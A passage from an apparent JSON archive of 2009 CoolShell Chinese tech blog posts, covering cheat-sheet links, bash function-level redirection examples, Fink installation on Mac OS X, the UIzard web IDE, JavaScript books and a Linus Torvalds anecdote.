CS2 Keyboard Shortcuts (Macintosh) — PDF](http://www.creativetechs.com/tips/tip_resources/PSCS2_Shortcuts_Mac.pdf)\n\n\n**PHP**\n\n\n* [symfony PHP5 framework — Admin Generator cheat sheet — PDF](http://www.symfony-project.com/weblog/2006/04/25/admin-generator-cheat-sheet.html)\n* [PHP Cheat Sheet — PDF](http://www.addedbytes.com/php_cheat_sheet.pdf)\n* [PHP Cheat Sheet — PNG](http://www.addedbytes.com/php_cheat_sheet.png)\n* [PHP Cheat Sheet with special php syntax](http://www.blueshoes.org/en/developer/php_cheat_sheet/)\n* [Regular Expressions Cheat Sheet — PNG](http://www.addedbytes.com/regular_expressions_cheat_sheet.png)\n\n\n**Python**\n\n\n* [Python 101 cheat sheet](http://www-128.ibm.com/developerworks/library/l-cheatsheet3.html)\n* [Python Cheat Sheet](http://www.yukoncollege.yk.ca/%7Ettopper/COMP118/rCheatSheet.html)\n* [Python Cheat Sheet — PDF](http://www.drweb.de/weblog/weblog/?p=548)\n* [Python Quick Reference](http://www.onlamp.com/python/excerpt/PythonPocketRef/examples/python.pdf)\n* [Python 2.4 Quick Reference](http://rgruet.free.fr/PQR24/PQR2.4.html)\n\n\n**Regular Expressions**\n\n\n* [Regular Expressions Cheat Sheet](http://www.addedbytes.com/cheat-sheets/regular-expressions-cheat-sheet/)\n* [Regular Expression Cheat Sheet (.NET)](http://regexlib.com/CheatSheet.aspx)\n\n\n**Ruby**\n\n\n* [ActiveRecord Relationships — Ruby on Rails cheat sheet guide — PDF](http://slash7.com/cheats/activerecord_cheatsheet.pdf)\n* [RubyOnRails-Cheatsheet — PDF](http://www.blainekendall.com/index.php/rubyonrailscheatsheet/)\n* [Ruby on Rails Cheat Sheet — PNG](http://www.addedbytes.com/ruby_on_rails_cheat_sheet.png)\n* [Ruby on Rails cheat sheet guide — PDF](http://slash7.com/cheats/form_helpers.pdf)\n* [Ruby quick reference](http://www.zenspider.com/Languages/Ruby/QuickRef.html)\n* [Threadeds Ruby Cheat Sheet](http://www.threaded.com/ruby_cheatsheet.htm)\n* [What Goes Where? — Ruby on Rails cheat sheet — PDF](http://slash7.com/cheats/rails_files_cheatsheet.pdf)\n\n\n**Unix/Linux**\n\n\n* [Linux Shortcuts and Commands](http://www.unixguide.net/linux/linuxshortcuts.shtml)\n* [quick\\_reference [GNU screen]](http://aperiodic.net/screen/quick_reference?do=show)\n* [Unix Cheat Sheet](http://www.pixelbeat.org/cmdline.html)\n* [The One Page Linux Manual — Version 3 — PDF](http://homepage.powerup.com.au/%7Esquadron/linux_manual.pdf)\n* [TCP Ports list (3498 ports in list)](http://www.gasmi.net/docs/tcp.html)\n* [Treebeard’s Unix Cheat Sheet](http://www.rain.org/%7emkummel/unix.html)\n* [Essential Vim keyboard shortcuts Cheat Sheet](http://www.pixelbeat.org/vim.tips.html)\n* [VIM Quick Reference Card](http://tnerual.eriogerg.free.fr/vim.html)\n* [Vim Commands Cheat Sheet](http://bullium.com/support/vim.html)\n\n\n**Weblog**\n\n\n* [Blogger Cheatsheet — PDF](http://andywibbels.com/files/Blogger_Cheatsheet_v1.pdf)\n* [TypePad Cheatsheet — PDF](http://andywibbels.com/files/TypePad_Cheatsheet_v1.pdf)\n* [Movable Type Cheatsheet — PDF](http://andywibbels.com/files/Movable_Type_Cheatsheet_v1.pdf)\n* [MovableType](http://www.einfach-persoenlich.de/2005-05-29/movabletype-movable-type-cheat-sheet-spickzettel.html)\n* [WordPress Cheatsheet — PDF](http://andywibbels.com/files/WordPress_Cheatsheet_v1.pdf)\n* [WP — WordPress Cheat Sheet f眉r Theme Tags und Plugin-API — PDF](http://bueltge.de/wp-wordpress-cheat-sheet-fuer-theme-tags-und-plugin-api/205)\n\n\n**Windows**\n\n\n* [An A-Z Index of the Windows NT/XP command line](http://www.ss64.com/nt/)\n* [Graphical vi-vim Cheat Sheet and Tutorial](http://www.viemu.com/a_vi_vim_graphical_cheat_sheet_tutorial.html)\n* [Power Point 2000 — Keyboard Shortcuts](http://www.fgcu.edu/support/office2000/ppt/shortcuts.html)\n* [POWERPOINT 2003 — Quick Reference Card](http://www.oreilly.com/examples/promos/pt/power_point_quickref.pdf)\n* [TCP Ports list (3498 ports in list)](http://www.gasmi.net/docs/tcp.html)\n* [Windows — Alt Key Numeric Codes](http://tlt.its.psu.edu/suggestions/international/accents/codealt.html)\n\n\n**XML**\n\n\n* [Fusebox 4.1 XML Cheat Sheet](http://www.dopefly.com/projects/fuseboxxmlcheatsheet.cfm)\n* [MathML Reference — PDF](http://www.zvon.org/download2_cheatsheet.php/sheet_mathML_el_attr.pdf?title=MathML%3A+elements+-+attributes)\n* [VoiceXML Reference — PDF](http://www.zvon.org/download2_cheatsheet.php/sheet_voiceXML_el_attr.pdf?title=VoiceXML%3A+elements+-+attributes)\n* [XML TopicMaps 1.0 — Quick Reference Card — PDF](http://refcards.com/download/bj/xtm-1.0.pdf)\n* [XML Quick References — PDF](http://www.mulberrytech.com/quickref/XMLquickref.pdf)\n* [XML Schema 2001: children — parents — PDF](http://www.zvon.org/download2_cheatsheet.php/sheet_xmlSchema2001_child_parent.pdf?title=XML+Schema+2001%3A+children+-+parents)\n* [XML Schema 2001: elements — attributes — PDF](http://www.zvon.org/download2_cheatsheet.php/sheet_xmlSchema2001_el_attr.pdf?title=XML+Schema+2001%3A+elements+-+attributes)\n* [XML Schema 2000/10 — PDF](http://www.zvon.org/Output/cheatsheets/cheatsheet_list.html)\n* [XML Schema — Structures Quick Reference — PDF](http://www.xml.dvint.com/docs/SchemaStructuresQR-2.pdf)\n* [XML Schema — Data Types Quick Reference — PDF](http://www.xml.dvint.com/docs/SchemaDataTypesQR-2.pdf)\n* [XSL FO Reference — PDF](http://www.zvon.org/download2_cheatsheet.php/sheet_xslReference_el_attr.pdf?title=XSL+FO%3A+elements+-+attributes)\n* [XSLT Quick References — PDF](http://www.mulberrytech.com/quickref/XSLT_1quickref-v2.pdf)\n* [XSLT Quick Reference Card — PDF](http://refcards.com/download/deepx/XSLT-1.0.pdf)\n* [XSLT Reference](http://www.topxml.com/xsl/XSLTRef.asp)\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![给程序员的VIM速查卡](../wp-content/uploads/2011/09/vim_cheat_sheet_for_programmers_print-150x150.png)](https://coolshell.cn/articles/5479.html)[给程序员的VIM速查卡](https://coolshell.cn/articles/5479.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [![一些有意思的网站和贴子](../wp-content/uploads/2011/01/OB-LP754_bestjo_D_20110104181820-150x150.jpg)](https://coolshell.cn/articles/3480.html)[一些有意思的网站和贴子](https://coolshell.cn/articles/3480.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/2964.html)[25个jQuery的编程小抄](https://coolshell.cn/articles/2964.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg](https://coolshell.cn/articles/2775.html)[免费电子书列表](https://coolshell.cn/articles/2775.html)\n* [![C++的坑真的多吗？](../wp-content/uploads/2012/08/cpp_small-150x150.jpg)](https://coolshell.cn/articles/7992.html)[C++的坑真的多吗？](https://coolshell.cn/articles/7992.html)\nThe post [程序员小抄大全](https://coolshell.cn/articles/1566.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-14 bash 函数级重定向.md",
    "content": "---\nlayout: post\ntitle: bash 函数级重定向\ndate: 2009/10/14/ 15:47:25\nupdated: 2009/10/14/ 15:47:25\nstatus: publish\npublished: true\ntype: post\n---\n\n![bash 函数级重定向](../wp-content/uploads/2009/08/bash.jpg \"bash 函数级重定向\")相信每一个人对于操作系统的重定向不会陌生了。就是>, >>, <, <<，关于重定向的基本知识我就不说了。这里主要讨论bash的重定向中的一个鲜为人知的东西，那就是bash脚本的函数也可以定义相关的重定向操作。这可不是命令级的重定向，这是函数级的重点向。这并不是一个新的东西，我只是想告诉大家一个已经存在了多年但却可能不被人常用的功能。\n\n\n关于bash的这个函数级的重定向的语法其实很简单，你只需要在函数结尾时加上一些重定向的定义或指示符就可以了。下面是一个示例：\n\n\n\n```\nfunction mytest()\n{\n        ...\n} < mytest.in > mytest.out 2> mytest.err\n```\n\n现在，只要是test被调用，那么，这个函数就会从mytest.in读入数据，并把输出重定向到mytest.out文件中，然后标准错误则输出到mytest.err文件中。是不是很简单？\n\n\n\n因为函数级的重定向仅当在被函数调用的时候才会起作用，而且其也是脚本的一部分，所以，你自然也可以使用变量来借文件名。下面是一个示例：\n\n\n\n```\n#!/bin/bash\n\nfunction mytest()\n{\n    echo Hello World CoolShell.cn\n} >$out\n\nout=mytest1.out\nmytest\nout=mytest2.out\nmytest\n```\n\n这样一来，标准输出的重定向就可以随$out变量的改变而改变了。在上面的例子中，第一个调是重定向到mytest1.out，第二个则是到mytest2.out。\n\n\n\n```\n$ bash mytest.sh; more mytest?.out\n::::::::::::::\nmytest1.out\n::::::::::::::\nHello World CoolShell.cn\n::::::::::::::\nmytest2.out\n::::::::::::::\nHello World CoolShell.cn\n```\n\n正如前面所说的一样，这里并没有什么新的东西。上面的这个示例，转成传统的写法是：\n\n\n\n```\n#!/bin/bash\n\nfunction mytest()\n{\n    echo Hello World CoolShell.cn\n}\nmytest >mytest1.out\nmytest >mytest2.out\n```\n\n到此为此，好像这个feature并没有什么特别的实用之处。有一个可能比较实用的用法可能是把把你所有代码的的标准错误重定向到一个文件中去。如下面所示：\n\n\n\n```\n#!/bin/bash\n\nlog=err.log\nfunction error()\n{\n    echo \"$*\" >&2\n}\nfunction mytest1()\n{\n    error mytest1 hello1 world1 coolshell.cn\n}\n\nfunction mytest2()\n{\n    error mytest2 hello2 world2 coolshell.cn\n}\n\nfunction main()\n{\n    mytest1\n    mytest2\n} 2>$log\n\nmain\n```\n\n运行上面的脚本，你可以得到下面的结果：\n\n\n\n```\n$ bash mytest.sh ;cat err.log\nmytest1 hello1 world1 coolshell.cn\nmytest2 hello2 world2 coolshell.cn\n```\n\n当然，你也可以不用定义一个函数，只要是{…} 语句块，就可以使用函数级的重定向，就如下面的示例一样：\n\n\n\n```\n#!/bin/bash\n\nlog=err.log\nfunction error()\n{\n    echo \"$*\" >&2\n}\nfunction mytest1()\n{\n    error mytest1 hello1 world1 coolshell.cn\n}\n\nfunction mytest2()\n{\n    error mytest2 hello2 world2 coolshell.cn\n}\n\n{\nmytest1\nmytest2\n} 2>$log\n```\n\n你也可以重定向 (…) 语句块，但那会导致语句被执行于一个sub-shell中，这可能会导致一些你不期望的行为或问题，因为sub-shell是在另一个进程中。\n\n\n如果你问，我们是否可以覆盖函数级的重定向。答案是否定的。如果你试图这样做，那么，函数调用点的重定向会首先执行，然后函数定义上的重定向会将其覆盖。下面是一个示例：\n\n\n\n```\n#!/bin/bash\n\nfunction mytest()\n{\n    echo hello world coolshell.cn\n} >out1.txt\nmytest >out2.txt\n```\n\n运行结果是，out2.txt会被建立，但里面什么也没有。\n\n\n下面是一个重定向标准输入的例子：\n\n\n\n```\n#!/bin/bash\n\nfunction mytest()\n{\n    while read line\n    do\n        echo $line\n    done\n} <<EOF\nhello\ncoolshell.cn\nEOF\nmytest\n```\n\n下面是其运行结果：\n\n\n\n```\n$ bash mytest.sh\nhello\ncoolshell.cn\n```\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![bash代码注入的安全漏洞](../wp-content/uploads/2014/09/bashbug-150x150.jpg)](https://coolshell.cn/articles/11973.html)[bash代码注入的安全漏洞](https://coolshell.cn/articles/11973.html)\n* [![应该知道的Linux技巧](../wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg)](https://coolshell.cn/articles/8883.html)[应该知道的Linux技巧](https://coolshell.cn/articles/8883.html)\n* [![你可能不知道的Shell](../wp-content/uploads/2012/11/shell.01-150x150.png)](https://coolshell.cn/articles/8619.html)[你可能不知道的Shell](https://coolshell.cn/articles/8619.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/2987.html)[用脚本实现哄宝宝睡觉(Demo)](https://coolshell.cn/articles/2987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/1824.html)[C语言和sh脚本的杂交代码](https://coolshell.cn/articles/1824.html)\n* [![用脚本实现哄小孩睡觉](../wp-content/uploads/2009/10/baby_linux-150x150.jpg)](https://coolshell.cn/articles/1539.html)[用脚本实现哄小孩睡觉](https://coolshell.cn/articles/1539.html)\nThe post [bash 函数级重定向](https://coolshell.cn/articles/1574.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-15 Bug 和 Icon 搜索引擎.md",
    "content": "---\nlayout: post\ntitle: Bug 和 Icon 搜索引擎\ndate: 2009/10/15/ 2:55:2\nupdated: 2009/10/15/ 2:55:2\nstatus: publish\npublished: true\ntype: post\n---\n\n以前给大家推荐过一个《[PDF电子书搜索引擎](https://coolshell.cn/articles/424.html)》，现在再来推荐两个：\n\n\n一个是开源项目的bug搜索引擎（当你想要选用某个开源软件的时候，或是你发现有一些异常的时候，你可以先去看看是否有一些相关的BUG）\n\n\n[**http://bugspy.net/**](http://bugspy.net/)\n\n\n[http://bugspy.net/site_media/images/logo.png](http://bugspy.net/)\n\n\n \n\n\n还有一个是图标的搜索引擎（那些ICON还是比较精美的，可以用来做UI的开发）\n\n\n [**http://www.iconfinder.net/**](http://www.iconfinder.net/)\n\n\n [![Iconfinder provides high quality icons for webdesigners and developers in an easy and efficient way](../wp-content/uploads/2009/10/iconfinder.png)](http://www.iconfinder.net/)\n\n\n(全文完)\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![由苹果的低级Bug想到的](../wp-content/uploads/2014/02/apple_goto_fail-150x150.png)](https://coolshell.cn/articles/11112.html)[由苹果的低级Bug想到的](https://coolshell.cn/articles/11112.html)\n* [![50套Web开发图标](../wp-content/uploads/2009/03/webicon3-150x150.png)](https://coolshell.cn/articles/3.html)[50套Web开发图标](https://coolshell.cn/articles/3.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/6913.html)[神奇的CSS形状](https://coolshell.cn/articles/6913.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg](https://coolshell.cn/articles/2529.html)[StackOverflow的404错误页](https://coolshell.cn/articles/2529.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/830.html)[语言的歧义](https://coolshell.cn/articles/830.html)\nThe post [Bug 和 Icon 搜索引擎](https://coolshell.cn/articles/1582.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-15 一张关于操作系统的图.md",
    "content": "---\nlayout: post\ntitle: 一张关于操作系统的图\ndate: 2009/10/15/ 2:44:53\nupdated: 2009/10/15/ 2:44:53\nstatus: publish\npublished: true\ntype: post\n---\n\n一图胜千言![operating-systems](../wp-content/uploads/2009/10/operating-systems.jpg \"operating-systems\")\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![粉丝眼中的操作系统](../wp-content/uploads/2009/12/operatingsystems-fanboys-150x150.jpg)](https://coolshell.cn/articles/1998.html)[粉丝眼中的操作系统](https://coolshell.cn/articles/1998.html)\n* [![性能调优攻略](../wp-content/uploads/2012/06/f1-150x150.jpg)](https://coolshell.cn/articles/7490.html)[性能调优攻略](https://coolshell.cn/articles/7490.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg](https://coolshell.cn/articles/5107.html)[10大经典错误](https://coolshell.cn/articles/5107.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg](https://coolshell.cn/articles/4102.html)[如何学好C语言](https://coolshell.cn/articles/4102.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4077.html)[纯文本配置还是注册表](https://coolshell.cn/articles/4077.html)\n* [![操作系统航空公司](../wp-content/uploads/2009/08/linux_airline-150x150.jpg)](https://coolshell.cn/articles/1272.html)[操作系统航空公司](https://coolshell.cn/articles/1272.html)\nThe post [一张关于操作系统的图](https://coolshell.cn/articles/1579.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-19 [推荐]基于Mac的Port工具Fink.md",
    "content": "---\nlayout: post\ntitle: [推荐]基于Mac的Port工具Fink\ndate: 2009/10/19/ 11:6:41\nupdated: 2009/10/19/ 11:6:41\nstatus: publish\npublished: true\ntype: post\n---\n\n看到标题，读者朋友们肯定第一时间想到的MacPort 。\n\n\n恩，那是一款非常棒的工具。 不过我更愿意推荐各位使用另外一款工具 Fink(http://www.finkproject.org/).\n\n\n\n> Fink 项目希望把 Unix 上各种[开放源码](http://www.opensource.org/)软件带到 [Darwin](http://www.opensource.apple.com/) 和 [Mac OS X](http://www.apple.com/macosx/) 平台上。 我们通过修改 Unix 软件使得它可以在 Mac OS X 上编译和运行（“移植”）,并提供一个方便的分发系统使得每个人都可以下载和使用它。 Fink 使用 [Debian](http://www.debian.org/) 中的象 dpkg 和 apt-get 等工具来提供强大的二进制软件包管理。 你可以随意选择是下载预编译好的二进制安装包或从源代码自己构建一切。\n> \n> \n\n\n关于 Fink的安装 ，大部分用户可参见http://www.finkproject.org/download/index.php?phpLang=zh。  \n\n不过后面我主要想介绍我的安装方式，因为我的Mac 版本是10.6 64bit.所以还是有些差别。也许上述普通方法有效，但是我并未尝试。\n\n\n安装步骤如下（感谢 <http://sage.ucsc.edu/~wgscott/xtal/wiki/index.php/64-bit_Fink_for_10.6>）\n\n\n\n\n```\n\ncvs -d:pserver:anonymous@fink.cvs.sourceforge.net:/cvsroot/fink login\n #just hit return when prompted for password\ncvs -z3 -d:pserver:anonymous@fink.cvs.sourceforge.net:/cvsroot/fink co -P fink\ncd fink\n./bootstrap /sw\n\n```\n\n以上最后一步可能会花80%的时间，因为它会执行下载及编译这些很核心的工作。\n\n\n完成之后编辑 /sw/etc/fink.conf 第4行为：\n\n\n**Trees: local/main stable/main stable/crypto unstable/main unstable/crypto**\n\n\n接下来就可以使用fink了。 fink的启动 我加了如下代码\n\n\n\n```\nsource /sw/bin/init.sh\nfink selfupdate-cvs\nfink -y update-all\nfink scanpackages\n\n```\n\n我建议 再执行一条\n\n\n`echo \"source /sw/bin/init.sh\" >> ~/.bash_profile`\n\n\n这样新开终端进程的时候 就不用重新初始化fint了,完成以上步骤，就能使用fink了。\n\n\n我之所以抛弃了macport 是因为他目前出现的和新版10.6的冲突问题，导致系统gcc库环境出现错误，而macport又与系统架构上不兼容 ，导致Port不能用 gcc 也不能用，而我又准备拿光盘重装developer环境的时候，光驱坏了 DVD盘一律不能读 :shame goodness…!  \n\nfink的出现完全让我避开了以上问题，或许上述问题的出现有我个人原因。 但是fink有很重要的一点，就是它的源很快。他会自动推荐最适合我们的镜像。如果我们要随时更换fink的配置， 可以执行 fink configure.\n\n\n我相信读到这里，会有不少习惯Port的朋友使用 Fink， Just do it, Fink和MacPort 同时存在并不是什么坏事，虽然我已经把MacPort彻底删了。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg](https://coolshell.cn/articles/2719.html)[苹果开发工具Xcode 4 第二预览版](https://coolshell.cn/articles/2719.html)\n* [![操作系统航空公司](../wp-content/uploads/2009/08/linux_airline-150x150.jpg)](https://coolshell.cn/articles/1272.html)[操作系统航空公司](https://coolshell.cn/articles/1272.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg](https://coolshell.cn/articles/559.html)[菜鸟学PHP之Smarty入门](https://coolshell.cn/articles/559.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/3433.html)[6个有用的MySQL语句](https://coolshell.cn/articles/3433.html)\n* [![一个人脸识别的Javascript](../wp-content/uploads/2010/11/jpDEK-150x150.jpg)](https://coolshell.cn/articles/3254.html)[一个人脸识别的Javascript](https://coolshell.cn/articles/3254.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg](https://coolshell.cn/articles/4261.html)[JavaMail使用](https://coolshell.cn/articles/4261.html)\nThe post [[推荐]基于Mac的Port工具Fink](https://coolshell.cn/articles/1592.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-22 Ajax开发利器UIzard.md",
    "content": "---\nlayout: post\ntitle: Ajax开发利器UIzard\ndate: 2009/10/22/ 15:40:30\nupdated: 2009/10/22/ 15:40:30\nstatus: publish\npublished: true\ntype: post\n---\n\n正如UIzard这个名字所暗示的，这是一个User Interface 的Wizard，从字面上理解，这是一个做界面的向导。这有什么奇怪的，Dreamwave之流已经是相当的成熟了，还能好得过它？是的，这个开源的项目，也许并没有那些商业软件那么成熟，不过，我想告诉你的是，这个开源软件绝对是值得我们重点关注的一个软件。\n\n\n你可以理解为这是一个Web开发的IDE，不过其集成了Ajax方面的东西。这并不仅仅简单的是那种“所见即所得”的编辑器。而且，它也不信仅可以让那些非程序员非常简单地创建一个从前端到后端的Web应用，而且，他还可以让你连接数据库，创建非常复杂的布局和时间线，甚至于一些套件（白板，在线的类Word，Excel，PPT等功能），所有这些，你只需要简单的点几下按钮就可以了。真是相当的强大。（下面是个抓图）\n\n\n![UIzard](../wp-content/uploads/2009/10/uizard2.jpg \"UIzard\")\n\n\n\n看上去很不错吧，上面的的屏幕抓图展示了，你可以非常简单地嵌入一些Google的API。而且，你还可以设置RSS相关的功能，是的，源代码是很复杂的，但是有了这个工具，你所需要的就是用鼠标点来点去。\n\n\n最NB的是，你不需要在你的硬盘上安装这个工具，你完全是一个基于Web的在线IDE，真是太强大了，这是我最最欣赏的地方，真是令人难以置信。\n\n\n最后需要说的，这个工具的作者是一个韩国人，叫 Ryu Sungtae（韩国人的软件MS越来越猛了，比如那个著名的Kmplayer也是韩国人做的）， UIzard 由 Yahoo’ User Interface Library (YUI) 构造，这是一个基于Javascript 的用于创建各种交互式应用的程序库。虽然，目前的UIzard 只是Beta版，版本号还很新，0.9版，不过，这个项目的潜力是相当的大，值我们关注。\n\n\n其官方站点是：<http://www.uizard.org/> \n\n\n如果你想体验一下，那么，请你猛击下面的链接吧：（使用Fixfox效果更好）\n\n\n<http://www.uizard.org/UIzard/uizard.php>\n\n\n[![UIzard创建工程](../wp-content/uploads/2009/10/uizard1.jpg \"UIzard创建工程\")](https://coolshell.cn/wp-content/uploads/2009/10/uizard1.jpg)\n\n\n(全文完)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Javascript 装载和执行](../wp-content/uploads/2013/06/javascript-150x150.jpg)](https://coolshell.cn/articles/9749.html)[Javascript 装载和执行](https://coolshell.cn/articles/9749.html)\n* [![一次Ajax查错的经历](../wp-content/uploads/2012/08/ajax_error-150x150.jpg)](https://coolshell.cn/articles/8170.html)[一次Ajax查错的经历](https://coolshell.cn/articles/8170.html)\n* [![一些非常有意思的杂项资源](../wp-content/uploads/2010/09/biolab-150x150.jpg)](https://coolshell.cn/articles/3013.html)[一些非常有意思的杂项资源](https://coolshell.cn/articles/3013.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg](https://coolshell.cn/articles/2593.html)[Web版的VNC](https://coolshell.cn/articles/2593.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/909.html)[7个免费强大的Ajax文件管理器](https://coolshell.cn/articles/909.html)\n* [![10个基于Ajax的PHP Webmail客户端](../wp-content/uploads/2009/03/webmail1-150x150.jpg)](https://coolshell.cn/articles/154.html)[10个基于Ajax的PHP Webmail客户端](https://coolshell.cn/articles/154.html)\nThe post [Ajax开发利器UIzard](https://coolshell.cn/articles/1611.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-22 Javascript的两本书.md",
    "content": "---\nlayout: post\ntitle: Javascript的两本书\ndate: 2009/10/22/ 15:12:25\nupdated: 2009/10/22/ 15:12:25\nstatus: publish\npublished: true\ntype: post\n---\n\nDefinition Guide 和 The Good Part， 犀牛和蝴蝶，一厚一薄，事情不言而喻。\n\n\n[![O'Reilly Javascript 的两本书](../wp-content/uploads/2009/10/javascript.jpg \"O'Reilly Javascript 的两本书\")](https://coolshell.cn/wp-content/uploads/2009/10/javascript.jpg)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![如何读懂并写出装逼的函数式代码](../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg)](https://coolshell.cn/articles/17524.html)[如何读懂并写出装逼的函数式代码](https://coolshell.cn/articles/17524.html)\n* [![函数式编程](../wp-content/uploads/2013/12/yoda-lambda-150x150.png)](https://coolshell.cn/articles/10822.html)[函数式编程](https://coolshell.cn/articles/10822.html)\n* [![Lua简明教程](../wp-content/uploads/2013/12/lua-150x150.gif)](https://coolshell.cn/articles/10739.html)[Lua简明教程](https://coolshell.cn/articles/10739.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/10337.html)[数据即代码：元驱动编程](https://coolshell.cn/articles/10337.html)\nThe post [Javascript的两本书](https://coolshell.cn/articles/1608.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-10-23 Windows 7 的新粉丝 Linus Torvalds.md",
    "content": "---\nlayout: post\ntitle: Windows 7 的新粉丝 Linus Torvalds\ndate: 2009/10/23/ 6:21:50\nupdated: 2009/10/23/ 6:21:50\nstatus: publish\npublished: true\ntype: post\n---\n\n正当Windows 7 开始热卖的时候，正当广大北美用户抱怨Windows 7的销售价格，在东方要比西方便宜很多的时候。我们著名的Linus Torvalds来到了日本东京的一个软件商店里“庆祝Windows 7的Release”，难道他是去那里买一份便宜的Windows 7？\n\n\n[![Linus Torvalds 在一个日本的软件商店](../wp-content/uploads/2009/10/Linus_windows_7.jpg)](http://www.flickr.com/photos/offthebroiler/4036243510/sizes/o/)\n\n\n*Linus Torvalds, 图片来自一个未经确认的 Yodobashi 商店， Tokyo, Japan. 来源: Jim Zemlin/The Linux Foundation (**点击看大图**)*\n\n\n这个图片目前还没有新闻报道，不过已有很多来源可以参考了……\n\n\n\nLinus在日本参加一个[**Japan Linux Symposium**](http://events.linuxfoundation.org/events/japan-linux-symposium)的座谈会，在一个Picaca的[链接](http://picasaweb.google.com/cschlaeger/JapanLinuxSymposium#5395400000458161906)上说，Microsoft选择了和Japan Linux Symposium同一天，在座谈会的间隙，Linus和其同事想做点有趣的事情，于是他们来到了Windows 7的小商店里，当然，售货员同志并不知道这人是谁，而Linus一进店里马上就做了一个下蹲坚大拇指的手势，而他的同事很识相地马上就照了一张照片。呵呵，当然，他们什么也没有买。\n\n\n而在一个据说是照片作者的 [BLOG](http://blogs.zdnet.com/perlow/?p=11403) 上，博主也证实了相关的说法，说，这是Linus的一种幽默的态度，还说，Linus应该做一个V字型的手势而不是大拇指，这主要是Linus对东方文不了解。呵呵。\n\n\n呵呵，很有意思吧。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/16910.html)[Linus：为何对象引用计数必须是原子的](https://coolshell.cn/articles/16910.html)\n* 